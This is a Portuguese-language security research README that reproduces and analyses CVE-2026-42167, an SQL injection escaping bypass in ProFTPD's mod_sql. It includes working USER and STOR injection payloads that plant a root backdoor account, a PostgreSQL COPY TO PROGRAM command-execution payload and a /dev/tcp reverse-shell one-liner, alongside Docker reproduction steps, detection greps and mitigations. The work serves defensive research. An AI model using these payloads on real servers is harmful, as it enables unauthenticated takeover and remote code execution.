
Reprodução independente, análise de causa-raiz em nível de código e relatório de exposição realista para CVE-2026-42167 (bypass de is_escaped_text() no mod_sql do ProFTPD).
mod_sql Injeção SQL / Bypass de Autenticação / RCEReprodução independente, análise detalhada da causa raiz no nível do código e uma
análise franca de exposição para CVE-2026-42167 — o bypass de is_escaped_text() no
pipeline de logging do mod_sql do ProFTPD, divulgado pela ZeroPath Research e corrigido
no ProFTPD 1.3.9a / 1.3.10rc1.
Construído e verificado de ponta a ponta em Docker no macOS / Apple Silicon, 2026-04-29.
TL;DR — veja Conclusão para o panorama realista de exposição antes de decidir o quanto se preocupar. Este não é um bug de instalação padrão, mas o padrão de aspas perigoso é o padrão que a documentação oficial recomenda usar, então uma grande fração das implantações de
mod_sqlo herda.
| Campo | Valor |
|---|
| CVE | CVE-2026-42167 |
| CWE | CWE-89 (Injeção SQL), CWE-78 (Injeção de Comandos do SO — via PG COPY TO PROGRAM) |
| Afetado | ProFTPD ≤ 1.3.9 com mod_sql + SQLLog/SQLNamedQuery cuja string de formato interpola uma variável controlada pelo atacante dentro de aspas simples |
| Corrigido em | 1.3.9a (af90843ba…) / 1.3.10rc1, veja o commit e6f728481 ("Issue #2052") |
| Commit vulnerável fixado | ae25959adb05ae1d6ebfa1f36bf778c9c34e9410 |
| Arquivo vulnerável | contrib/mod_sql.c linhas 741–758 (is_escaped_text) e linha 777 (sql_resolved_append_text) |
| Divulgação original | https://zeropath.com/blog/proftpd-cve-2026-42167-auth-bypass-privesc-rce |
| PoC público | https://github.com/ZeroPathAI/proftpd-CVE-2026-42167-poc |
| Notas de versão | http://www.proftpd.org/docs/RELEASE_NOTES-1.3.10rc1 |
is_escaped_text() em contrib/mod_sql.cO mod_sql resolve as variáveis de formato de logging (%U, %{basename}, etc.) e
anexa cada parte ao SQL renderizado via sql_resolved_append_text().
Para preservar a compatibilidade retroativa com configurações de admin que já envolvem
variáveis em '…', a função chama is_escaped_text() para decidir
se sql_escapestring é necessário:```c
/* contrib/mod_sql.c — vulnerable commit ae25959 */
741 static int is_escaped_text(const char text, size_t text_len) {
742 register unsigned int i;
743
744 if (text[0] != ''') return FALSE;
745 if (text[text_len-1] != ''') return FALSE;
746 for (i = 1; i < text_len-1; i++)
747 if (text[i] == ''') return FALSE;
748 return TRUE;
749 }
…
777 if (is_escaped_text(text, text_len) == FALSE) {
… / …sql_escapestring()… */
790 } else {
791 pr_trace_msg(trace_channel, 17,
792 "text '%s' is already escaped, skipping escaping it again", text);
793 new_text = (char *) text;
794 new_textlen = text_len;
795 }
A verificação é puramente estrutural — ela não consegue distinguir *"já escapado por
código confiável"* de *"criado por um atacante para parecer já escapado."*
Qualquer valor fornecido pelo cliente que corresponda a `'<no-internal-quotes>'` ignora
`sql_escapestring` e é concatenado bruto na consulta final.
A configuração padrão e documentada envolve `%U` / `%{basename}` / `%m` em aspas
simples:```
SQLNamedQuery log_activity INSERT "'%U', '%r', '%m'" activity_log
SQLLog ERR_* log_activity
Quando o atacante envia USER '<payload>' (aspas de abertura e fechamento, sem
aspas internas), o resolvedor substitui %U sem escape, produzindo
''<payload>'' no SQL — os literais de string vazia fecham as
aspas ao redor e <payload> é executado como SQL bruto. Com PostgreSQL
(PQexec) e SQLite (sqlite3_exec), consultas empilhadas são suportadas, então
<payload> pode ser qualquer sequência de instruções.
Como SQLLog ERR_* é acionado em logins falhos e %U é definido a partir de
USER antes da autenticação, o ataque é totalmente não autenticado.
e6f728481, "Issue #2052")sql_resolved_append_text() ganha um parâmetro already_escaped. Os chamadores
que resolvem valores a partir de entrada do cliente passam FALSE e agora passam
por sql_escapestring incondicionalmente — a heurística is_escaped_text() ainda é
aplicada para o caminho legítimo de "config com valor pré-escapado", mas
não se aplica mais a dados controlados pelo atacante.
+--------------------+ FTP 21 +-----------------------+ | attacker (host) | <--> 127.0.0.1:2121 | proftpd-poc-server | | python3 PoCs | | ProFTPD 1.3.9-pre | +--------------------+ | mod_sql_postgres | +-----------+-----------+ | libpq v +-----------------------+ | proftpd-poc-postgres | | PostgreSQL 15 | | role 'proftpd' = SU | +-----------------------+
- Ambos os contêineres são iniciados via `setup/docker-compose.yml`.
- `setup/proftpd.conf` habilita a configuração de logging vulnerável (ver §1).
- `setup/seed.sql` cria `users`, `groups`, `activity_log`, `xfer_log`,
e `secrets`, além de um único usuário FTP legítimo `ftpuser / ftppass`.
---
## 3. Reprodução — copiar e colar
Pré-requisitos: Docker Desktop, Python 3.10+, git. (`uv` é opcional; os
PoCs usam apenas a biblioteca padrão.)```bash
# 1) clone this repo
git clone https://github.com/dinosn/proftpd-CVE-2026-42167-analysis.git
cd proftpd-CVE-2026-42167-analysis/poc
# 2) build vulnerable proftpd + postgres in Docker
cd setup && ./setup.sh && cd ..
# - clones proftpd source pinned to ae25959a (vulnerable)
# - builds with --with-modules=mod_sql:mod_sql_postgres
# - starts both containers, waits for healthchecks
# 3) reproduce — pre-auth backdoor user (uid=0, homedir=/)
python3 pocs/preauth_user_backdoor.py --host localhost --port 2121
# 4) inspect the planted account
docker exec proftpd-poc-postgres psql -U proftpd -d proftpd \
-c "SELECT userid,uid,gid,homedir,shell FROM users;"
# 5) reproduce — post-auth STOR backdoor
docker exec proftpd-poc-postgres psql -U proftpd -d proftpd \
-c "DELETE FROM users WHERE userid='backdoor';"
python3 pocs/postauth_stor_backdoor.py \
--host localhost --port 2121 --user ftpuser --password ftppass
# 6) reproduce — pre-auth RCE proof (non-interactive, marker-file variant)
python3 pocs/preauth_rce_marker.py --host localhost --port 2121
docker exec proftpd-poc-postgres cat /tmp/cve-2026-42167-rce.txt
# 7) tear down
cd setup && ./teardown.sh
As duas variantes interativas no repositório upstream
(preauth_user_rce.py, postauth_stor_rce.py) não são modificadas e abrem um
reverse shell com suporte a PTY. Elas usam o mesmo primitivo da variante
marcadora — basta substituir o comando shell por bash -i >& /dev/tcp/<host>/<port> 0>&1 e escutar em <port> primeiro.
USER, %U)```USER ', null, null); INSERT INTO users VALUES($$backdoor$$, $$pwned123$$, 0, 0, $$/$$, $$/bin/bash$$); --' PASS x
Por que funciona:
1. As **aspas externas + sem aspas internas** correspondem a
`is_escaped_text()` → a verificação de escape é ignorada.
2. O `SQLNamedQuery` configurado é `INSERT "'%U', '%r', '%m'" activity_log`,
então o SQL renderizado se torna
`INSERT INTO activity_log VALUES('<payload>', '<%r>', '<%m>')` — mas
`<payload>` em si começa com `'`, então a consulta efetiva é
`INSERT INTO activity_log VALUES('', null, null); INSERT INTO users
VALUES($$backdoor$$,…); --', '<%r>', '<%m>')`.
3. `--` comenta os espaços de formato finais.
4. `$$…$$` (aspas com cifrão do PostgreSQL) nos permite passar strings (`backdoor`,
`pwned123`, `/`, `/bin/bash`) sem nunca usar `'` — preservando a
bypass de `is_escaped_text()`.
5. `SQLLog ERR_*` é acionado no login falho → `PQexec()` executa o
`INSERT INTO users` empilhado → a conta backdoor existe na tabela de autenticação.
### Backdoor pós-autenticação (nome de arquivo `STOR`, `%{basename}`)```
STOR ', null, null); INSERT INTO users VALUES($$backdoor$$, $$pwned123$$, 0, 0, chr(47), chr(47)); --'
Mesmo bypass, gatilho diferente. chr(47) = '/' é usado porque
/ em um nome de arquivo é interpretado como separador de diretório pelo FTP, então o
atacante não pode colocar um / literal no nome do arquivo — chr() permite que a
conta backdoor obtenha homedir = '/' sem enviar um pela rede.
USER + COPY TO PROGRAM)```USER ', null, null); COPY (SELECT $$x$$) TO PROGRAM $$$$; --' PASS x
Onde `<shell-cmd>` é qualquer comando. O PostgreSQL o executa via `/bin/sh`
no host do **banco de dados** como o usuário do SO `postgres`. Exige que o papel do banco
usado pelo `mod_sql` seja um superusuário (ou membro de
`pg_execute_server_program`) — comum em implantações de locatário único e
o padrão para a imagem oficial `postgres` do Docker quando o papel é
criado via `POSTGRES_USER`.
---
## 5. Evidências capturadas durante a reprodução
| Arquivo | O que mostra |
|---|---|
| `logs/01_preauth_backdoor.log` | Saída do PoC de pré-autenticação, login como `backdoor` é bem-sucedido (`230`) |
| `logs/02_db_users_after.log` | A tabela `users` agora contém `backdoor / pwned123 / uid=0` |
| `logs/03_postauth_stor_backdoor.log` | Saída do PoC de pós-autenticação via STOR `%{basename}` |
| `logs/05_preauth_rce_marker.log` | Payload de marcador enviado via FTP |
| `logs/06_users_final.log` | Estado final da tabela `users` |
| `logs/07_proftpd_trace.log` | Log de rastreamento do próprio ProFTPD imprimindo `text '…' is already escaped, skipping escaping it again` para cada payload injetado — evidência direta de `is_escaped_text()` retornando TRUE em entrada do atacante |
| `logs/08_rce_proof.log` | `/tmp/cve-2026-42167-rce.txt` gravado *pelo usuário postgres* no contêiner do postgres |
| `screenshots/*.png` | Renderizações PNG de cada sessão de terminal capturada |
A linha do log de rastreamento é a prova definitiva:```
2026-04-29 06:35:11,297 [548] <sql:17>: text '', null, null); INSERT INTO users
VALUES($$backdoor$$, $$pwned123$$, 0, 0, $$/$$, $$/bin/bash$$); --''
is already escaped, skipping escaping it again
Essa mensagem é emitida em contrib/mod_sql.c:791 apenas quando
is_escaped_text() retorna TRUE — ou seja, exatamente o bypass.
Detecção (forense em um servidor implantado):
grep "is already escaped, skipping escaping it again" /var/log/proftpd/trace.log
com Trace sql:17 habilitado sinaliza toda tentativa de injeção que atingiu o
bypass.activity_log (ou qualquer tabela em que SQLNamedQuery INSERT escreva):
linhas em que a coluna de nome de usuário começa com uma aspa solta, contém null, null);, ou contém INSERT/COPY TO PROGRAM/UPDATE são evidências.users em busca de contas com uid=0, homedir='/', ou shell
definido para um shell real quando a política é usar /sbin/nologin.Mitigação:
e6f728481).SQLNamedQuery (substitua '%U'
pelo %U mais seguro apenas em backends parametrizados, ou use registro baseado em
arquivo de texto simples para logins com falha).mod_sql não seja
superusuário — isso por si só remove o caminho de RCE via COPY TO PROGRAM (o bypass
de autenticação via INSERT INTO users empilhado ainda funciona, mas o raio de impacto
fica contido ao banco de dados do proftpd).. ├── README.md # this file ├── poc/ # ZeroPath PoC, cloned │ ├── README.md │ ├── pocs/ │ │ ├── preauth_user_backdoor.py │ │ ├── preauth_user_rce.py │ │ ├── preauth_rce_marker.py # added — non-interactive RCE proof │ │ ├── postauth_stor_backdoor.py │ │ └── postauth_stor_rce.py │ └── setup/ │ ├── docker-compose.yml │ ├── Dockerfile.proftpd │ ├── proftpd.conf │ ├── seed.sql │ ├── setup.sh │ └── teardown.sh ├── logs/ # raw terminal output captured during reproduction └── screenshots/ # PNG renders of each log ├── 00_overview.png ├── 01_preauth_backdoor.png ├── 02_db_users_after.png ├── 03_postauth_stor_backdoor.png ├── 04_preauth_rce_marker.png ├── 05_rce_proof.png ├── 06_proftpd_trace.png └── 07_users_final.png
---
## 8. Isto é realista — ou um caso extremo forçado?
A resposta honesta: **mais restrito do que um worm de "envie um pacote e
domine o servidor", mas o padrão vulnerável está na própria documentação do
ProFTPD, portanto não é forçado.** Três dimensões independentes decidem se
uma determinada implantação é afetada, e cada uma reduz a população.
### 8.1 O `mod_sql` está sequer carregado?
O `mod_sql` é opcional. Ele **não** está no build padrão do ProFTPD e não
está na configuração padrão dos pacotes de distribuições como o
`proftpd-basic` do Debian. Você só o tem se:
- Compilou com `--with-modules=mod_sql:mod_sql_<backend>`, ou
- Instalou um pacote específico de backend: Debian `proftpd-mod-pgsql` /
`proftpd-mod-mysql` / `proftpd-mod-sqlite`, RHEL `proftpd-postgresql` /
`proftpd-mysql`.
As pessoas instalam esses pacotes por um motivo claro: **autenticação**
baseada em SQL (usuários em um banco de dados em vez de `/etc/passwd`) ou
**registro de atividades** baseado em SQL para auditoria. Ambos são comuns
em implantações de hospedagem compartilhada, FTP gerenciado e drops de FTP
corporativos. Portanto, o `mod_sql` é uma parcela real da base instalada —
apenas não "todo servidor".
### 8.2 O padrão vulnerável `SQLNamedQuery` é realmente usado?
É aqui que o realismo é maior. O padrão que aciona o bug *é o documentado.*
Exemplos extraídos diretamente da árvore upstream no commit vulnerável
fixado:```
# doc/contrib/mod_sql.html ── canonical example
SQLNamedQuery insertfileinfo INSERT "'%f', %b, '%u@%v', now()" filehistory
SQLLog RETR,STOR insertfileinfo
# doc/howto/SQL.html
SQLNamedQuery log_sess FREEFORM "INSERT INTO login_history
(user, client_ip, server_ip, protocol, when)
VALUES ('%u', '%a', '%V', '%{protocol}', NOW())"
SQLLog PASS log_sess IGNORE_ERRORS
# doc/modules/mod_redis.html
SQLNamedQuery upload FREEFORM "INSERT INTO ftplogs (...) VALUES
('%u', '%H', NOW(), '%r', ..., '%f', ...)"
SQLLog STOR upload
Cada um envolve uma variável controlada pelo atacante (%u, %r) entre aspas simples — exatamente a forma que is_escaped_text() classifica erroneamente. Um administrador que copia e cola da documentação oficial herda o padrão vulnerável. Essa é a principal razão para levar isso a sério.
O caminho totalmente não autenticado (USER + %U + SQLLog ERR_*) é o caso mais restrito. Ele exige todos os três:
SQLNamedQuery interpolando %U (nome de usuário original, definido mesmo em login falho) dentro de aspas simples — menos comum que %u em configurações reais, já que a maioria dos administradores quer o nome de usuário bem-sucedido para auditoria e usa %u.SQLLog que dispara antes da autenticação. SQLLog ERR_* é o curinga canônico para isso. SQLLog PASS … e SQLLog STOR … (as formas mais comuns) não disparam.Se a configuração usa %u em vez de %U, o mesmo bug ainda produz bypass de autenticação — mas apenas pós-autenticação, ou seja, o atacante primeiro precisa de quaisquer credenciais válidas antes de poder plantar um backdoor uid=0. Na maioria das configurações reais, essa é a exposição realista: usuário FTP de baixo privilégio → usuário FTP equivalente a root via um único upload.
O bypass dispara de forma idêntica em todos os backends, mas o que o atacante pode fazer difere drasticamente:
| Backend | Consultas empilhadas? | Bypass de autenticação via INSERT INTO users | RCE no host do banco |
|---|---|---|---|
| PostgreSQL | Sim (PQexec) | Funciona | Sim via COPY TO PROGRAM se o papel do banco for superusuário |
| SQLite | Sim (sqlite3_exec) | Funciona (e o worker FTP frequentemente tem PRIVS_ROOT — ainda pior) | Sem equivalente direto, mas tabela users gravável → login FTP root |
| MySQL | Não — mysql_real_query sem CLIENT_MULTI_STATEMENTS | Não pode anexar uma segunda instrução; reduz-se a subconsulta de instrução única / SQLi cega apenas para exfiltração de dados | Não |
PostgreSQL ou SQLite ⇒ impacto total. MySQL ⇒ apenas vazamento de dados / cega baseada em tempo. MySQL é de longe o backend mais comum para hospedagem compartilhada (cPanel, Plesk, ISPConfig todos usam por padrão); PostgreSQL é mais comum em builds empresariais personalizados. Ambas as populações são não triviais.
O RCE principal via COPY TO PROGRAM adicionalmente exige que o papel PostgreSQL do mod_sql seja um superusuário (ou membro de pg_execute_server_program). Isso é:
POSTGRES_USER da imagem oficial do Docker postgres (o padrão para a maioria dos laboratórios de PoC e muitas imagens de appliance, incluindo o setup/ deste repositório).Se o papel não for superusuário, você ainda obtém a primitiva de bypass de autenticação (crítica por si só), mas o RCE no nível do sistema operacional no host do banco desaparece.
ProFTPD installs └── ~with mod_sql loaded ←── opt-in but common in shared/managed FTP ├── ~with the canonical SQLNamedQuery INSERT pattern (most do — it's │ the documented form) │ ├── PostgreSQL backend │ │ ├── DB role = superuser → pre-/post-auth RCE on DB host │ │ └── DB role ≠ superuser → post-auth root FTP backdoor (auth bypass) │ ├── SQLite backend → post-auth root FTP backdoor │ │ (worker often runs as root → very bad) │ └── MySQL backend → post-auth blind SQLi / data exfil only └── ~with attacker-controlled %U + SQLLog ERR_* (uncommon) → fully pre-auth versions of the above
---
## 10. Recomendação
Para qualquer pessoa que execute ProFTPD `mod_sql`:
- **Atualize** para ≥ 1.3.9a independentemente. É a única correção completa.
- **Controlos compensatórios** até conseguir aplicar o patch:
- Reduza a role da BD para **não-superuser** — elimina o ramo de RCE no
PostgreSQL.
- Audite a sua tabela `users` / de autenticação para linhas `uid=0` perdidas ou contas
adicionadas recentemente — ver §6.
- Ative `Trace sql:17` e procure por
`is already escaped, skipping escaping it again` em `trace.log` — essa
linha é evidência direta de uma tentativa de bypass.
- Se for viável, remova as diretivas `SQLLog ERR_*` e quaisquer
formatos `SQLNamedQuery INSERT` que interpolam `%U` (a primitiva
pré-autenticação). O caminho pós-autenticação continuará a existir via `%u` /
`%{basename}`, mas remove o pior cenário.
---
## 11. Conclusão
- Isto **não** é uma "vulnerabilidade de instalação predefinida" — tem de estar
a executar `mod_sql`.
- **É** uma "vulnerabilidade de seguir-a-documentação" — o padrão de
aspas perigoso é o oficial, copiado e colado nos HOWTOs a montante.
- O cenário **totalmente não autenticado** do título é real, mas
requer uma combinação de configuração específica (pré-auth `%U` + wildcard `SQLLog ERR_*`)
que é menos comum do que o caminho pós-autenticação.
- O cenário de **escalada de privilégios pós-autenticação** (qualquer utilizador FTP → backdoor FTP uid=0)
é o muito mais realista e aplica-se a uma grande
fração de implementações `mod_sql` + PostgreSQL/SQLite que utilizam os
padrões de registo documentados.
- O **RCE ao nível do SO no host da BD** está condicionado à role da BD ser
superuser — comum em configurações single-tenant / estilo appliance, menos
comum em ambientes geridos por DBAs.
---
## Créditos
- Vulnerabilidade descoberta e originalmente divulgada por
[ZeroPath Research](https://zeropath.com/blog/proftpd-cve-2026-42167-auth-bypass-privesc-rce).
- Repositório público de PoC:
[ZeroPathAI/proftpd-CVE-2026-42167-poc](https://github.com/ZeroPathAI/proftpd-CVE-2026-42167-poc).
- Correção por TJ Saunders, commit
[`e6f72848`](https://github.com/proftpd/proftpd/commit/e6f728481b25e2a79590c1c1043417f0232e2f48)
("Issue #2052").
Este repositório é uma reprodução e análise independente para investigação
defensiva e educação. Sem 0-day. Utilize apenas em sistemas que está autorizado
a testar.